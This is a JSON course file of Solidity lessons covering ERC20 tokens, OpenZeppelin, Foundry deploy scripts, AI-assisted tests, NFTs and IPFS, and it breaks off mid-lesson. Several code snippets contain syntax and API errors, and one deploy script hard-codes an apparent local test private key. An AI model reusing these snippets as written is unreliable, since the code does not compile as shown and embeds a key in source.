amount to the recipient's balance.\n\nWell, that's the first iteration of our token! We could go further and implement other functions like `allowance` and `transferFrom` which would make our token more versatile with better utility. But for brevity reasons, we'd leave that for another day.\n\nIn conclusion, the journey to coding your own ERC20 token isn't as daunting as it seems. With Solidity, a good text editor, and little patience, you can make your own way into the Ethereum developer community. I hope this guide leaves you better equipped in your Ethereum dev journey and evokes your interest in delving deeper into the vastly interesting world of blockchain programming. Good luck and happy coding!\n", + "updates": [] + }, + { + "lessonId": "9c7cfcb9-a693-4933-a006-4f046a9bdecf", + "number": 3, + "title": "Explore Open Zeppelin", + "slug": "erc20-open-zeppelin", + "folderName": "3-erc20-open-zeppelin", + "description": "Explore the use of the OpenZeppelin framework for smart contract development. Learn how to leverage pre-deployed, audited, and ready-to-go contracts to simplify the creation process of your ERC20 token.", + "duration": 4, + "videoUrl": "esyU6xorSNYu1IcPMS9q1YYL4UQWaj2e5Z01QZ7WjVaU", + "rawMarkdownUrl": "/routes/advanced-foundry/1-erc20s/3-erc20-open-zeppelin/+page.md", + "markdownContent": "---\ntitle: ERC20 Open Zeppelin\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n# Using Pre-Deployed, Audited, and Ready-to-Go Smart Contracts with OpenZeppelin\n\nWelcome back! Creating your own smart contracts can be a complex task. As your experience grows, you might find yourself creating similar contracts repeatedly. In such cases, wouldn't it be more convenient to use pre-deployed, audited, and ready-to-go contracts? In this section, I'll guide you on using the OpenZeppelin framework to achieve this.\n\n\n\n## OpenZeppelin Framework\n\nAccess [OpenZeppelin's documentation](https://docs.openzeppelin.com/contracts/4.x/) via their official website. By navigating to [Products > Contracts](https://www.openzeppelin.com/contracts), you can discover a vast array of ready-to-use contracts.\n\nAdditionally, OpenZeppelin offers a contract wizard, streamlining the contract creation process — perfect for tokens, governances, or custom contracts.\n\n## Creating a New Token\n\nRather than manual implementations, let's craft a new token named 'OurToken'. Here's an outline of our token's structure:\n\n```javascript\n// OurToken.sol\nSPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\n\ncontract OurToken {\n\n}\n```\n\n## Installing OpenZeppelin Contracts\n\nNext, we will install the OpenZeppelin contracts to our project. Navigate to their [official GitHub repository](https://github.com/OpenZeppelin/openzeppelin-contracts) and copy the repository path.\n\nIn your terminal, run the following command to install the OpenZeppelin contracts:\n\n```bash\nforge install openzeppelin/openzeppelin-contracts --no-commit\n```\n\nUpon successful installation, you'll find the OpenZeppelin contracts in your project's lib folder. Your contract library will now contain audited contracts you can readily use like the ERC20 contract.\n\n## Inheriting and Implementing Contracts\n\nAfter accessing the OpenZeppelin contracts, you can now import and inherit from them. To do this, we first need to remap the OpenZeppelin contracts in our foundry.toml file:\n\n```javascript\n[remappings] = \"@openzeppelin-contracts=lib/openzeppelin-contracts\";\n```\n\nThen, simply import and inherit from ERC20.sol in our 'OurToken.sol' file like this:\n\n```javascript\nSPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\n\nimport \"@openzeppelin-contracts/contracts/token/ERC20/ERC20.sol\";\n\ncontract OurToken is ERC20 {\n constructor(uint256 initialSupply) ERC20(\"OurToken\", \"OT\"){\n _mint(msg.sender, initialSupply);\n }\n}\n```\n\nNotice that the constructor of OurToken uses the ERC20 constructor and needs a name and a symbol. I also used the \\_mint function, provided by ERC20, to create the initial supply of tokens to the sender.\n\n## Testing That Your Contracts Compile\n\nNow, it's time to make sure things compile. To do this, run the command:\n\n```bash\nforge build\n```\n\nIf everything went smoothly, the output should indicate that your contract has been successfully compiled, something like this:\n\n\n\n---\n\nIn summary, using pre-deployed and audited contracts like OpenZeppelin can streamline your development process when working with Smart Contracts. This approach lets you leverage proven code which reduces the risk of errors and increases your project's reliability. Don't hesitate to explore and utilize these contract libraries in your future blockchain development ventures!\n", + "updates": [] + }, + { + "lessonId": "7f90804e-7f7f-4818-8e9f-93f077970522", + "number": 4, + "title": "Deploy your ERC20 crypto currency", + "slug": "erc20-deploy-script", + "folderName": "4-erc20-deploy-script", + "description": "This lesson provides a comprehensive guide on deploying your ERC20 token. It includes instructions for setting up a deployment script, using the deployment script to deploy your token, and tips for finalizing and testing the deployment process efficiently.", + "duration": 3, + "videoUrl": "q01Umr02SsMoZiqPlG21kTRw6ooVH00oizN00W1TU9DMPvs", + "rawMarkdownUrl": "/routes/advanced-foundry/1-erc20s/4-erc20-deploy-script/+page.md", + "markdownContent": "---\ntitle: ERC20 Deploy Script\n---\n\n_Follow along the course with this video._\n\n\n\n# Deploying Our Token: A Step By Step Guide\n\nIf you've ever wondered how to deploy a token, and more importantly, test it and write scripts to deploy it - then you've come to the right place. Buckle up, because we're about to journey through this process. Let's get started!\n\n## Initiating the Deployment\n\n\n\nTo initiate this, we're going to deploy OurToken.sol. Now, you might be asking why we don't need a helper config here - what about those special contracts that we would need to interact with? Well, this deployment is unlike any other because our token will be identical across all chains. No special contracts or config will be needed!\n\nLet's start with a simple script to keep things light and compact:\n\n```javascript\nSPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\n\nimport {Script} from \"forge-std/Script.sol\";\n\ncontract DeployOurToken is Script {\n\n}\n```\n\n## Creating a Function Run\n\nWe'll need to import our token like so:\n\n```javascript\nimport { Script } from \"forge-std/Script.sol\";\n```\n\nNext, let's create a function, run, that will be external. Within the run function, we’ll do `vm.startBroadcast()`. In our run function, we need to initiate the VM broadcast as shown, we'll need to give it an initial supply too, say 1000 ether. That’s right, our token needs an initial amount to start with and finally, we'll want to return OurToken, for use later:\n\n```javascript\nSPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\n\nimport {Script} from \"forge-std/Script.sol\";\nimport {OurToken} from \"../src/OurToken.sol\";\n\ncontract DeployOurToken is Script {\n uint256 public constant INITIAL_SUPPLY = 1000 ether;\n\n function run() external return(OurToken){\n vm.startBroadcast();\n OurToken ot = new OurToken(INITIAL_SUPPLY);\n vm.stopBroadcast();\n\n return ot;\n };\n}\n\n```\n\nFollowing this, we'll deploy our token using the initial supply because, remember, our token requires an initial supply. We then stop the VM broadcast, and voila, our script is ready!\n\n## Adding the Final Touches\n\n\n\nFor the final touches, we can use a nifty trick. We can borrow from our previous projects or directly from the git repo that corresponds with this tutorial. We'll generate a Makefile for this. Create this new file in your project's root directory. We'll visit foundry-erc20-f23 and just put everything into this Makefile. Guess what, we can just copy the whole thing!\n\nFind the Makefile to copy [here:](https://github.com/Cyfrin/foundry-erc20-f23/blob/main/Makefile)\n\nOnce you’ve copied over the Makefile, you can simply run the command `make deploy`. If you encounter any errors, just create a new anvil using `make anvil` and once again run `make deploy`.\n\nThe compiler should now run successfully and your token is officially deployed to your anvil chain. Congratulations, you have just deployed your token!\n\n\n\nBy following these steps, you have simplified the process of deploying and testing a token. Who'd have thought it could be this straightforward and efficient?\n", + "updates": [] + }, + { + "lessonId": "180ff894-f0fb-48c9-a7f1-2e45baeabd8f", + "number": 5, + "title": "Test your ERC20 using AI", + "slug": "erc20-ai-tests-and-recap", + "folderName": "5-erc20-ai-tests-and-recap", + "description": "Master the art of writing tests for your smart contracts, incorporating Artificial Intelligence (AI) to enhance the process. This lesson focuses on using AI to generate and execute tests efficiently, offering insights into best practices and considerations when integrating AI into your testing workflow.", + "duration": 16, + "videoUrl": "o97DyQMQaeyQovg02NPjdyChnCL7R3BBGDQXkn701eT7s", + "rawMarkdownUrl": "/routes/advanced-foundry/1-erc20s/5-erc20-ai-tests-and-recap/+page.md", + "markdownContent": "---\ntitle: AI Tests and Recap\n---\n\n_Follow along the course with this video._\n\n\n\n# Mastering Smart Contracts: Writing Tests and Incorporating AI\n\nAlmost done, you're doing great! In this section, we'll navigate the world of writing tests for basic contracts. This might sound dull, but twirling in some Artificial Intelligence (AI) really spices things up.\n\nRemember, in this series, as much as we encourage leveraging AI to accelerate your learning and coding, it should aid learning, not replace it entirely. The simple reason being that if AI gets it wrong - a likely occurrence given the nascent stage of current technology - you'll be utterly lost if you haven't really grasped the concepts.\n\nLet's dive into some practical examples, with a bit of humor, to illustrate. Yes, we'll also be using AI’s proficiency at writing tests to our advantage.\n\n## Laying the Foundation\n\nOur focus for the test would be `TokenTest.t.sol`, create this file in your test folder. We will start by crafting the basic structure for our testing contract. This would include SPDX license identifier, pragma solidity version, and a declaration of the contract:\n\n```javascript\nSPDX license identifier: MIT\npragma solidity ^0.8.18;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {OurToken} from \"../src/OurToken.sol\";\nimport {DeployOurToken} from \" ../script/DeployOurToken.s.sol\";\n\ncontract OurTokenTest is Test {\n\n}\n```\n\nAlso note the need to import forge's `forge-std/Test.sol` for `Test`, OurToken from `OurToken.sol` and `DeployOurToken.s.sol`'s DeployOurToken, the script we just wrote to deploy. This script handles the deployment of our Token. It's a special scenario where the script essentially 'becomes' the Token we're deploying. Subsequently, we'll define a setup method.\n\nIn our setup,we have something like:\n\n```javascript\ncontract OurTokenTest is Test {\n OurToken public ourToken;\n DeployOurToken public deployer;\n\n function setup() public {\n deployer = new DeployOurToken();\n ourToken = deployer.run();\n }\n}\n```\n\nWith that done, let’s add some addresses allowing interaction with people. This time, we’ll be involving Bob and Alice in the mix:\n\n```javascript\naddress bob = makeAddr(\"bob\");\naddress alice = makeAddr(\"alice\");\n```\n\nNext, we’ll simulate a transfer of Tokens to Bob from our Token owner. We'll check Bob's Token balance afterward and ensure it equals the transferred Token amount.\n\n```javascript\ncontract OurTokenTest is Test {\n OurToken public ourToken;\n DeployOurToken public deployer;\n\n address bob = makeAddr(\"bob\");\n address alice = makeAddr(\"alice\");\n\n uint256 public constant STARTING_BALANCE = 100 ether;\n\n function setup() public {\n deployer = new DeployOurToken();\n ourToken = deployer.run();\n\n vm.prank(msg.sender);\n ourToken.transfer(bob, STARTING_BALANCE)\n }\n\n function testBobBalance() public {\n assertEq(STARTING_BALANCE, ourToken.balance(bob));\n }\n\n}\n```\n\nWith the above complete we should be able to run `forge test -mt testBobBalance` in our command line to see, yes, the test passes! This is just one example. I encourage you to write more of your own tests, and in the next section we'll learn how to use AI to help.\n\n## Generating More Tests with AI\n\nHaving established this foundational knowledge, we can now generate additional tests using AI. It's also worth noting that writing tests is something at which AI is quite proficient.\n\nTo illustrate, let’s write a test for the allowances. It's frequently a crucial part of ERC-20 tokens. Roughly put, we're allowing contracts to transfer tokens on your behalf. Here’s how you might request this of an AI model:\n\n```bash\n\"Here's my Solidity ERC20 token and a few tests I've written in Solidity. Could you please generate the rest of the tests? Please include tests for allowances, transfers, and anything else that might be important.\"\n```\n\nUpon receiving the AI's tests output, it’s advisable to only copy what you need. Be aware not to blindly copy paste code from the AI. Since AI's can get things wrong, it’s crucial to understand what's going on, and be able to spot such false outputs.\n\nTrue to this, AI's may get things wrong, like removing essential parts of the code, or introducing some redundancies. But some tests like `Test allowance works` or `Test transfer` might just be okay to use right off the bat.\n\nUsing AI to write tests should be like this: it gives you the building blocks for most of the tests, but you refine the building blocks to fit your application using your coding skills.\n\n## Wrapping Up\n\nThat's it for this lesson! Sure, it may seem like a short tutorial, but don't be fooled. The more advanced you become in your learning, the more straightforward the concepts.\n\nNow head off for some well-deserved rest or a little celebration – you've earned it! It's quite a feat becoming more comfortable with these foundational concepts. Having this solid foundation will take you far past your current knowledge base.\n\nFor those still shading in the gaps, don't hesitate to head over to the GitHub repo for some valuable insights to fast-track your learning. The thrill of learning awaits you in the next session. See you then! Bye!\n\n\n", + "updates": [] + } + ] + }, + { +"sectionId": "94b46f4a-4966-4bf5-85f2-605e034d0061", + "number": 2, + "title": "Develop an NFTs Collection", + "slug": "how-to-create-an-NFT-collection", + "folderName": "2-nfts", + "lessons": [ + { + "lessonId": "2dd01e95-bf3d-4cc6-8bd2-8b7d779863a3", + "number": 1, + "title": "Introduction to NFTs", + "slug": "introduction-to-nfts", + "folderName": "1-nfts", + "description": "his introductory lesson on Non-Fungible Tokens (NFTs) covers the basics of NFTs, including their creation, dynamics, and values. It features a practical project involving dynamic NFTs of dogs, emphasizing the addition of NFTs to MetaMask and connecting with platforms like OpenSea for selling NFTs.", + "duration": 3, + "videoUrl": "HZkX4TjOalhdptyolgs7t8026udJE02UpxVKYt4pJYY024", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/1-nfts/+page.md", + "markdownContent": "---\ntitle: NFTs\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nHello there, coding enthusiasts! As we move forward in our Solidity journey, we're inching closer towards becoming proficient, practical Solidity developers, ready to take on real-world challenges. In today's session, we're diving straight into the fascinating world of Non-Fungible Tokens (NFTs); afterward, we'll venture into the intricate web of DeFi, upgradable contracts, governance, and a glimpse into security. Excited? Let's get our hands dirty!\n\n\n\n## A Quick Overview of the Code Base\n\nLet's begin by exploring our course content. Our NFT project will entail creating dynamic NFTs of adorable dogs using VS Code. What's more, these tokens will evolve and carry fluctuating values. We aim to help you gain an in-depth understanding of NFTs, what makes them so special, and their functionality.\n\nEventually, we'll be able to add our NFTs right into our MetaMask, a thrilling outcome!\n\n## An Introduction to Two Types of NFTs\n\nTime to move onto specifics. There are two types of NFTs we will create:\n\n1. **Basic NFT:** The basic (yet super exciting!) NFT will depict a cute little pug, which will be stored in InterPlanetary File System (IPFS).\n2. **Advanced NFT:** We'll move to the advanced level by designing an NFT stored entirely on-chain, a genuinely decentralized form. An interesting attribute of this NFT is that its SVG will fluctuate depending upon the mood state we assign.\n\nOur goal is to give this NFT a dynamic personality, so to say, allowing it to mirror our mood swings. Just imagine—crafting mood-reflective tokens and importing them into an empty MetaMask!\n\n\n\n### Looking Further: Selling the NFTs\n\nApart from MetaMask, we also aim to connect with platforms like OpenSea. This move will allow us an interactive space to sell our NFTs, engage with NFT communities, and do much more.\n\nWe'll cap things off by unraveling the mysteries of API and function selector codes, giving you a well-rounded understanding of these fundamental aspects of Solidity.\n\n## Unraveling the NFT\n\nAfter understanding our course layout, let's explore what an NFT is. NFTs, or Non-Fungible Tokens, represent a unique set of data stored on Ethereum's digital ledger or blockchain. These tokens can literally represent anything — virtual real-estate, digital art, and much more! To give it a fitting analogy for our course:\n\n\n\nNow, we're surely thrilled to begin. So, strap yourself in, and let's delve into the adventurous world of NFT creation in Solidity.\n\nStay curious, and stay tuned for our next session as we build, learn, and master the art of coding!\n", + "updates": [] + }, + { + "lessonId": "f83641db-a754-4415-81f4-1aa1cfd3951c", + "number": 2, + "title": "What is an NFT", + "slug": "what-is-a-nft", + "folderName": "2-what-is-a-nft", + "description": "Dive deep into the world of Non-Fungible Tokens (NFTs), exploring their uniqueness compared to traditional tokens (ERC20s). The lesson focuses on the distinct nature of NFTs, their application in digital art, and the use of platforms like OpenSea and Rarible for trading.", + "duration": 7, + "videoUrl": "3Odz00lddAmiCzUa4HIkRZncD68MD00sBAqjkdkUmw7co", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/2-what-is-a-nft/+page.md", + "markdownContent": "---\ntitle: What is a NFT?\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nHello dear students! Today, we'll be diving deep into Non-Fungible Tokens (NFTs) from the perspective of a Python novice while also embarking on an ultimate NFT tutorial. Our journey will help unravel the inquisitiveness in you, becoming experts in blockchain and cryptocurrency technology.\n\n## Defining NFTs\n\nNFTs, called `ERC721`s, are the latest craze in the digital world as they are considered a prized possession on the Ethereum platform. For the uninitiated, NFT stands for Nonfungible token and is a token standard similar to ERC 20. You might recognize `ERC20s` by familiar names like Link, Ave Maker, which are found on the Ethereum chain.\n\n\n\nThe sparkle of NFTs lies in their unique nature. Unlike ERC 20s where one token is always equivalent to another same token, NFT or nonfungible token is unique and not interchangeable with any other token of its class. To simplify, consider this: one dollar is equivalent to another dollar. However, this is not the case in NFTs.\n\n\n\n## The Unparallel Power of Art in NFTs\n\nNFTs aren't limited in scope. They can be deemed as a digital version of art pieces possessing an incorruptible and permanent history. Of course, their application isn't only confined to art. You can enrich them with stats, make them do battle, or do unique stuff with them. For instance, NFTs are viewed, bought, and sold on various platforms like [OpenSea](https://opensea.io/) or [Rarible](https://rarible.com/).\n\nThough one might consider NFTs ridiculous initially (I too was in that boat once!), their value becomes clear when pondered over their benefits. Artists often face attribution and compensation problems. With NFTs, artists can be adequately compensated for their contributions through a decentralized royalty mechanism, which is fair, transparent, and free from intermediary service.\n\n## Exploring ERC721 and ERC20\n\nNow, let's delve further into the NFT standards: the ERC 721 standard or the NFT standard. They serve as the foundation for NFTs. However, the semi-fungible token standard, the ERC 1155, isn't the focus of our discussion today but is still worth exploring.\n\nThe key differences between a 721 and ERC 20 lie in the mapping between an address and its holdings. ERC 20s have a simple mapping compared to 721’s that holds unique token IDs. Each token is unique, with a unique owner and a 'token Uri', defining what each asset looks like.\n\nIf you know Ethereum, you are aware of the high gas prices and expensive costs of storing a lot of space. This is where 'Token Uri' enters the scene. They are a unique indicator of what assets or tokens look like, and the characteristics of these tokens. A regular 'token uri' returns a format with the name, image location, description, and below mentioned attributes.\n\n## The Dilemma: On-chain Vs. Off-chain Metadata\n\nThere's often discourse on whether to store NFT data on-chain or off-chain. Off-chain storage is simpler and cheaper, with options like [IPFS](https://ipfs.io/) or even a centralized API. However, this come with risks of losing the image and all data associated with the NFT if the API goes down.\n\n\n\n## Getting Hands-on with NFT Deployment\n\nIf you're a newbie in NFTs and all that we've discussed feels a bit overwhelming, do not worry. Here's a simplified process for you: add your image to IPFS, add a metadata file pointing to that image file on IPFS, and grab that Token Uri and set it as your NFT.\n\nIn short, understanding NFTs and its various characteristics and usages can render you capable of building creative NFTs and games with unique properties. And most importantly, it authenticates the NFTs as the properties will always remain on the chain.\n\nStay tuned for more engaging content about NFTs, Blockchain, Ethereum, and more. Let's continue on this exciting journey of digital innovations together!\n", + "updates": [] + }, + { + "lessonId": "08185616-d253-4f6a-b0e7-719c89386074", + "number": 3, + "title": "Foundry setup", + "slug": "foundry-setup", + "folderName": "3-foundry-setup", + "description": "This session guides you through setting up the Foundry environment for NFT development. It includes instructions on creating directories, initializing your project, and using OpenZeppelin contracts for defining NFTs, highlighting the process of minting and deploying NFT images.", + "duration": 11, + "videoUrl": "yquUfB2EF54qwmTY9faT8IvuJB33XYY5kLJ009225wJY", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/3-foundry-setup/+page.md", + "markdownContent": "---\ntitle: Foundry Setup\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nHello, coders! Now that we have an idea about NFTs, we're all set to start coding our first-ever Non-fungible tokens. If you want to follow along, feel free to pass by the course materials where the GIT code associated with this lesson is located.\n\n## Setting Up the Environment\n\nFirst, as usual, we create a new directory for our project.\n\n```shell\nmkdir foundry-nft-f23\n```\n\nThen, let's switch to our newly created directory.\n\n```shell\ncd foundry-nft-f23\n```\n\nNext, we'll launch our text editor (I'm using the popular Visual Studio Code in this case) from the terminal.\n\n```shell\ncode foundry-nft-f23\n```\n\nBefore anything else, let's fire up the terminal, close the explorer and initiate our working directory to clean any residual files.\n\n```shell\nforge init\n```\n\nCheck if the '.env' file exists and also add 'broadcast.'\n\n## Creating Our Basic NFT\n\nThe NFT we are about to create is a token standard, similar to the ERC 20. The best part about this is that we don't need to walk through all the functions. We can save some time using our trusty package `OpenZeppelin`.\n\nLooking at the Open Zeppelin contracts, there's a token folder that hosts an ERC721.sol contract. This contract has almost all the functionality that we need for our NFT.\n\n```shell\nforge install OpenZeppelin/openzeppelin-contracts\n```\n\nBy now, already you know that SPDX license identifier, MIT, and Pragma, solidity version are mandatory elements in a solidity file. Here's how we're defining our 'basicNFT.sol' file –\n\n```js\n//SPDX-License-Identifier: MIT\npragma solidity ^0.8.18;\ncontract BasicNFT {...}\n```\n\nWe'll import the OpenZeppelin contracts package, point to the ERC 721 protobuf file, and declare our basic NFT contract.\n\n```js\nimport { ERC721 } from \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\n```\n\nVoila, our basic NFT ecosystem is ready for use, and its name will be dog and symbol as doggy.\n\n```shell\n constructor() ERC721(\"Dogie\", \"DOG\") {}\n```\n\nBut are we done yet? No. Now, we need to define the appearance of our NFTs and define how to obtain these tokens.\n\n## Token Standard and Counter\n\nLooking at the ERC 20 token standard, it has a balanceOf function. But in NFTs, the 'amount' of tokens doesn't matter as each of them is unique and thus can have distinct values. Here, the 'ownerOf' function is used to give each token a unique ID.\n\nThe unique NFT is denoted by a combination of the contract's address that represents the entire collection and the token's ID. So, we are going to use a 'token counter' to keep track of each token's unique ID.\n\n```shell\nuint256 private s_tokenCounter;\n```\n\nOur token counter's initial value will be zero, and it will increase as we mint new 'dog' tokens.\n\n\n\n## Minting the Puppy NFT\n\nThe minting function that we're about to define will allow us to produce our puppy tokens. This function is very crucial in the EIP721, the tokenUri. Although initially considered an optional parameter, the tokenUri, which stands for Token Uniform Resource Identifier, returns an API endpoint containing the NFT's metadata.\n\n\n\nThis metadata outlines the appearance of our NFT, including a title, a type, properties, and an image. The Uri points to the object that dictates the NFT's looks.\n\n```shell\nfunction tokenURI(uint256 tokenId) public view override returns (string memory) {}\n```\n\nHere we override the base’s tokenUri method with our custom method. Notice that whenever we want to look at what an NFT looks like, we call this function. The NFT’s look is determined by the image that this function returns.\n\n## Deploying Images for NFT\n\nOur puppy NFTs are ready to be brought to life. In our GitHub repository, we have the NFT images you can use for your first NFT. Once you select and download your desired puppy, let’s save it to the 'img' folder that we created in the project's directory.\n\n\n\nWow! It was a smooth journey, and we have successfully prepared our NFT images which are ready to be deployed using IPFS. Stay tuned for the next section where we will delve deeper into IPFS and how we can use it.\n", + "updates": [] + }, + { + "lessonId": "026164a1-de31-43b2-8f33-7471d8d6934d", + "number": 4, + "title": "Introduction to IPFS", + "slug": "what-is-ipfs", + "folderName": "4-ipfs", + "description": "Learn about the Interplanetary File System (IPFS), a decentralized data storage system, and its use in NFT development. Understand the concept of hashing data, pinning it on IPFS nodes, and the global network of nodes, differentiating it from blockchain in terms of data storage and access.", + "duration": 8, + "videoUrl": "FpDGLnN3VHMKKMfDsLABpkRXQuTH6Ty9DhQHAdc8UbM", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/4-ipfs/+page.md", + "markdownContent": "---\ntitle: IPFS\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nIn this comprehensive guide, I will explain how to use the Interplanetary File System (IPFS), a revolutionary distributed decentralized data structure. While it's not exactly a blockchain, its working mechanisms are somewhat similar – without the element of data mining. What IPFS does, instead, is what we call 'pinning data'.\n\nYou can get a glimpse of how IPFS works in the official [IPFS documentation](https://docs.ipfs.io/)\n\n## IPFS: A Unique Approach to Data Management\n\nThe IPFS process starts with a code, file, or any other form of data.\n\n```\nPiece of Data => Hash Function => Unique Hash\n```\n\nThe first thing IPFS does is to hash this data, yielding a unique output. Whether your data contains a massive code file or a ton of text, it gets turned into a unique hash function. The IPFS node carries out this hashing for you, with all IPFS nodes across the globe using the exact same hashing function.\n\n```\nSame Hashing Function => Consistent Unique Output\n```\n\nOnce data is hashed and a unique output obtained, then comes the 'pinning' part. You can pin the data, the code, the file on your IPFS node. The only role of the node is to host this data and store these hashes, nothing more.\n\n```\nHashed Data => Pin Data => Data Stored on Node\n```\n\n\n\n## Building a Global Network of Nodes\n\nHere's where the magic happens: your node connects to a vast network of other IPFS nodes. These nodes communicate with each other vastly lighter than any blockchain node.\n\nFor instance, when you request your network for a specific hash, the nodes engage in a conversation until one comes up with your data. This mechanism might initially seem centralized since the data resides on one node.\n\nHowever, other nodes on the network can also pin your data if they wish, thus creating a copy of your data on their node as well.\n\n```\nNetwork Nodes => Share and Pin Each Other Data => Decentralized Data\n```\n\nWith the ability to replicate any data in a decentralized manner, IPFS nodes offer straightforward functionality with a simple setup. It's also essential to note the drastic difference between blockchain and IPFS in this respect – IPFS nodes cannot execute smart contracts. In simple terms, they only offer decentralized storage.\n\nThe issue arises when ensuring decentralization – other nodes must pin our data. If we are the only node that has a particular hash, and our node goes down, that data is lost, and the network won't be able to access it. We will discuss future strategies for ensuring other people pin your data in subsequent sections, but for now, let's proceed with deploying our application on IPFS.\n\n## Deploying Your Application on IPFS\n\nNow that we know about IPFS, the next step is to deploy our application to IPFS, making it accessible by anyone, anywhere, provided our node remains online.\n\n\n\nYou can install and work with IPFS using the IPFS Desktop application or command line, as per your preference. If you're using Brave or Firefox, the IPFS router is built-in. For browsers like Chrome, you might have to add [IPFS Companion](https://chrome.google.com/webstore/detail/ipfs-companion/nibjojkomfdiaoajekhjakgkdhaomnch) for seamless functionality.\n\nOnce you have installed IPFS, you can import your file (for example, `next config JS`) and extract the CID or the hash. With IPFS Companion installed and enabled, or via the Brave local IPFS node, you can now access this file directly using your CID, essentially turning it into a URL.\n\nIf you encounter trouble accessing these files, you can use the IPFS gateway as a workaround route for requesting the data through another server, which then gets the data through IPFS. Simply append your hash to `https://gateway.ipfs.io/ipfs/`. This way, there will be no need for the IPFS Companion.\n\nTo wrap it up, IPFS introduces a new level of data decentralization and replication to build a global network of nodes that can store and distribute data economically and efficiently. Future trends suggest this could become an integral part of the Internet's infrastructure. With this guide, you are now ready to contribute to this digital revolution.\n", + "updates": [] + }, + { + "lessonId": "ad03afd8-a5f1-463a-89f4-f7c14ef33d5d", + "number": 5, + "title": "Upload and use IPFS data (token URI)", + "slug": "upload-data-on-IPFS", + "folderName": "5-using-ipfs", + "description": "This section explores using IPFS for hosting NFT images and metadata, focusing on OpenSea for practical demonstration. It also covers the customization of NFT appearances by allowing users to choose their Token URI, thus determining the look of their tokens.", + "duration": 7, + "videoUrl": "T6Tm6GjpiaWUs1qMapDCdLdzt8iy2qoJ02VSSiFgtnVA", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/5-using-ipfs/+page.md", + "markdownContent": "---\ntitle: Using IPFS\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\nHello and welcome back to our discussion on an exciting topic, IPFS, and the Token Uri in the realm of Non-Fungible Tokens (NFTs). After immersing ourselves in understanding these novel technology elements, let's put our knowledge into practice by exploring a marketplace for selling NFTs, such as OpenSea.\n\n## Exploring NFTs on OpenSea\n\nOpenSea, a marketplace nurturing a vibrant ecosystem for buying and selling NFTs, provides countless opportunities for examination. Here's how we do it:\n\n1. Scroll down the OpenSea page and select any NFT you fancy. For this discussion, let's take a look at the Pudgy Penguins.\n2. Click on the chosen NFT and navigate to its on-chain details.\n3. Click through to the source code, scroll down to 'read contracts' and connect to web three.\n4. Scroll further down to find the 'Token Uri' and get the ID for our chosen NFT.\n\nSubsequently, we can see the metadata object that features 'attributes', 'description', and the 'name' piece. If we input this name piece into the address bar, we visualize the image of the NFT.\n\n\n\n## Creating Your Own NFT Image\n\nWith your own image ready, the next step is uploading it using your IPFS node in your browser. Get the hash and use that as the image Uri for your own NFT.During the upload process to IPFS, both the image and the file (which contains the Uri of the image) must be uploaded. But remember, we're taking the path of least resistance here. We'll go on and use the Foundry IPFS Uri.\n\n## Diving Deeper into Our NFT\n\nBack to our NFT, instead of pasting the Token Uri for all our dogs to look the same, we're taking a more enticing route. We will allow people to customize their own Token Uri, hence choosing how their tokens will look.\n\nLet's code this idea:\n\n```js\n function mintNft(string memory tokenUri) public {\n s_tokenIdToUri[s_tokenCounter] = tokenUri;\n _safeMint(msg.sender, s_tokenCounter);\n s_tokenCounter = s_tokenCounter + 1;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n if (!_exists(tokenId)) {\n revert BasicNft__TokenUriNotFound();\n }\n return s_tokenIdToUri[tokenId];\n }\n```\n\nAnd that's it! We've created a simple yet advanced NFT able to have its look customized by anyone.\n\nHappy Ethereum Contracting!\n\nRemember,\n\n\n", + "updates": [] + }, + { + "lessonId": "b1fe8820-973d-4701-b6b2-6f466d824c6e", + "number": 6, + "title": "Writing the deployment script", + "slug": "nfts-deployment-script", + "folderName": "6-deploy-script", + "description": "Learn how to write a deployment script for NFTs. This includes using Forge script for deploying Basic NFTs and understanding the contract deployment process, highlighting the importance of testing and compiling before deployment.", + "duration": 2, + "videoUrl": "viH5QSKMzp1lzk5ubsud02cO00oigXWNw7w5Kr012ukAI4", + "rawMarkdownUrl": "/routes/advanced-foundry/2-nfts/6-deploy-script/+page.md", + "markdownContent": "---\ntitle: Deploy Script\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## Coding Your Basic NFT\n\nReady your keyboards, it's time to get coding! We already looked on the the basic code for the NFT on previous lessons and today we will be writing the code for the deploy script.\n\n## Basic Deployment\n\nThis function will serve a dual purpose; we're going to use it for our testing as well. What should it return? The answer is pretty straightforward - it should return our basic NFT.\n\nTherefore, this is how the Deployment contract will look like:\n\n```js\ncontract DeployBasicNft is Script {\n uint256 public DEFAULT_ANVIL_PRIVATE_KEY =\n 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80;\n uint256 public deployerKey;\n\n function run() external returns (BasicNft) {\n if (block.chainid == 31337) {\n deployerKey = DEFAULT_ANVIL_PRIVATE_KEY;\n } else {\n deployerKey = vm.envUint(\"PRIVATE_KEY\");\n }\n vm.startBroadcast(deployerKey);\n BasicNft basicNft = new BasicNft();\n vm.stopBroadcast();\n return basicNft;\n }\n}\n\n```\n\nThis chunk of code initiates a broadcast to the EVM (Ethereum Virtual Machine), creates a new basic NFT and stops the broadcast, then returns our freshly created NFT.\n\nAlso don't forget we need to import the basic libraries we always use in our contracts, and of course the solidity version and the license.\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nimport {Script} from \"forge-std/Script.sol\";\nimport {BasicNft} from \"../src/BasicNft.sol\";\nimport {console} from \"forge-std/console.sol\";\n```\n\nAfter putting the finishing touches on your code, it’s time to compile.\n\n## Time to Compile\n\nTo make sure everything is peachy, run a quick `forge compile`.\n\n```shell\nforge compile\n\n```\n\nNow watch as your console lights up with the wonderful message: \"COMPILING 